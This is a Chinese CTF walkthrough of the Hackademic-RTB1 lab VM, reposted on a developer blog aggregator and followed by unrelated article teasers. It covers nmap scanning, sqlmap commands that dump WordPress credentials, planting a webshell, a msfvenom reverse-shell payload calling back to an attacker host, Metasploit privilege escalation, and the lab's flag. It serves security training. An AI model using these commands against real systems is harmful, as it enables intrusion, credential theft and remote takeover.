CTF入门:以Hackademic-RTB1靶场为例初识夺旗

devtools/2024/12/23 23:06:35/

一、网络扫描

        靶机ip地址为192.168.12.24

        使用nmap工具进行端口扫描

nmap -sT 192.168.12.24

二、信息收集

1、80端口探索

        靶机开放了80和22端口,使用浏览器访问靶机的80端口,界面如下:

        点击target发现有跳转,并且url发生相应变化。下面两处也有跳转

        点击uncategorized,url发生变化,尝试在cat=1后面加上单引号,测试是否存在sql注入

        加入单引号后,页面报错了,还将sql语句打印出来了,说明存在sql注入漏洞,在终端中使用sqlmap工具对这个链接进行注入测试

2、SQL注入(使用sqlmap扫描)

        http://192.168.12.24/Hackademic_RTB1/?cat=1

2.1爆所有库名
sqlmap -u http://192.168.12.24/Hackademic_RTB1/?cat=1 --dbs --batch

2.2查询当前数据库表名

        从数据库的名称猜测网站使用的是wordpress建站系统,先获取一下wordpress库中数据表名

sqlmap -u http://192.168.12.24/Hackademic_RTB1/?cat=1 -D wordpress --tables

2.3获取wp_users表下所有列名
sqlmap -u http://192.168.12.24/Hackademic_RTB1/?cat=1 -D wordpress -T wp_users --columns

2.4爆用户名及密码
sqlmap -u http://192.168.12.24/Hackademic_RTB1/?cat=1 -D wordpress -T wp_users -C user_nickname,user_pass --dump --batch

        爆破出明文密码了

三、使用AntSword工具

1、登录后台

        我们猜测站点为wordpress,使用login.php访问后台失败,根据前面的表名我们猜测后台为wp-login.php

2、查找可利用点

        使用爆破出来的用户和密码进行登录,最终发现GeorgeMiller/q1w2e3为管理员,在Manage下file里可以修改php文件,直接修改hello.php文件,添加一句话木马,并更新文件

        这里hello.php文件的路径已经给出来,我们可以直接使用AntSword进行连接

        成功连接后进入终端

        输入id查看权限,实验的目的是获取存在于/root目录下的Key.txt文件,直接使用当前shell读取时发现权限不够

四、反弹shell

1、生成木马

        需要将权限提升到root权限,可以使用msf中的检测提升权限的模块,这样就需要先生成一个

msf的木马上传到服务器中,在kali中打开一个终端,输入命令生成一个木马文件

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.12.200 LPORT=4444 -f elf -o /root/Desktop/shell

2、设置端口

        然后在终端中启动msf并监听4444端口

3、上传木马到蚁剑并执行

        将生成的shell文件通过AntSword上传到目标服务器中。切换到AntSword主页面然后双击shell链接会打开AntSword的文件管理界面

        再切换到虚拟终端界面,使用chmod +x ./shell给文件加上可执行权限,然后输入./shell执行文件

4、反弹shell成功,开启监听

        执行完上面的命令后就会在msf收到反弹的shell了

        因为要用到msf中的其他模块,所以先将此meterpreter的shell放到后台,在上面shell中输入background

五、提权

        从上面中可以看到后台的shell编号为1,这个后面要用到,使用msf中的后渗透模块post/multi/recon/local_exploit_suggester,然后设置session为2,设置完成后输入run进行攻击

        尝试使用其中的exploit/linux/local/rds_rds_page_copy_user_priv_esc模块,然后根据options中的提示设置session、lhost、lport,全部设置完成后输入run进行攻击。

六、获取flag

        读取/root下的key.txt文件

        获取flag:flag{6d73f0c141dd7faf24dc9393792ebecc}


http://www.ppmy.cn/devtools/144823.html

相关文章

python学opencv|读取图像(十八)使用cv2.line创造线段

【1】引言 前序已经完成了opencv基础知识的学习,我们已经掌握了处理视频和图像的基本操作。相关文章包括且不限于: python学opencv|读取图像(三)放大和缩小图像_python(1)使用opencv读取并显示图像;(2)使用opencv对图像进行缩放…

Git进阶:本地或远程仓库如何回滚到之前的某个commit

在Git的使用过程中,我们经常会遇到需要回滚到之前某个commit的情况。无论是为了修复错误、撤销更改,还是为了重新组织代码,回滚到特定commit都是一个非常有用的技能。本文将介绍几种常用的回滚方法,帮助读者更好地掌握Git版本控制…

libilibi项目总结(18)FFmpeg 的使用

FFmpeg工具类 import com.easylive.entity.config.AppConfig; import com.easylive.entity.constants.Constants; import org.springframework.stereotype.Component;import javax.annotation.Resource; import java.io.File; import java.math.BigDecimal;Component public c…

梯度(Gradient)和 雅各比矩阵(Jacobian Matrix)的区别和联系:中英双语

雅各比矩阵与梯度:区别与联系 在数学与机器学习中,梯度(Gradient) 和 雅各比矩阵(Jacobian Matrix) 是两个核心概念。虽然它们都描述了函数的变化率,但应用场景和具体形式有所不同。本文将通过…

【Spring】探秘 SpringBoot 配置文件:解锁验证码背后的实现逻辑

前言 🌟🌟本期讲解关于Spring IOC&DI的详细介绍~~~ 🌈感兴趣的小伙伴看一看小编主页:GGBondlctrl-CSDN博客 🔥 你的点赞就是小编不断更新的最大动力 🎆那么…

数据结构---------二叉树前序遍历中序遍历后序遍历

以下是用C语言实现二叉树的前序遍历、中序遍历和后序遍历的代码示例&#xff0c;包括递归和非递归&#xff08;借助栈实现&#xff09;两种方式&#xff1a; 1. 二叉树节点结构体定义 #include <stdio.h> #include <stdlib.h>// 二叉树节点结构体 typedef struct…

使用Redis实现限流

使用Redis实现限流的三种方式 目录 概述基于计数器的固定窗口限流 实现原理适用场景实现步骤代码实现缺点 基于滑动窗口的限流 实现原理适用场景实现步骤代码实现优点缺点 基于令牌桶算法的限流 实现原理适用场景实现步骤Lua脚本实现Java实现优点缺点 总结 概述 在分布式系统…

45.跳跃游戏Ⅱ python

跳跃游戏Ⅱ 题目题目描述示例 1:示例 2:提示: 题解解决方案&#xff1a;贪心算法提交结果 题目 题目描述 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说&#xff0c;如果你在 nums[i] 处&…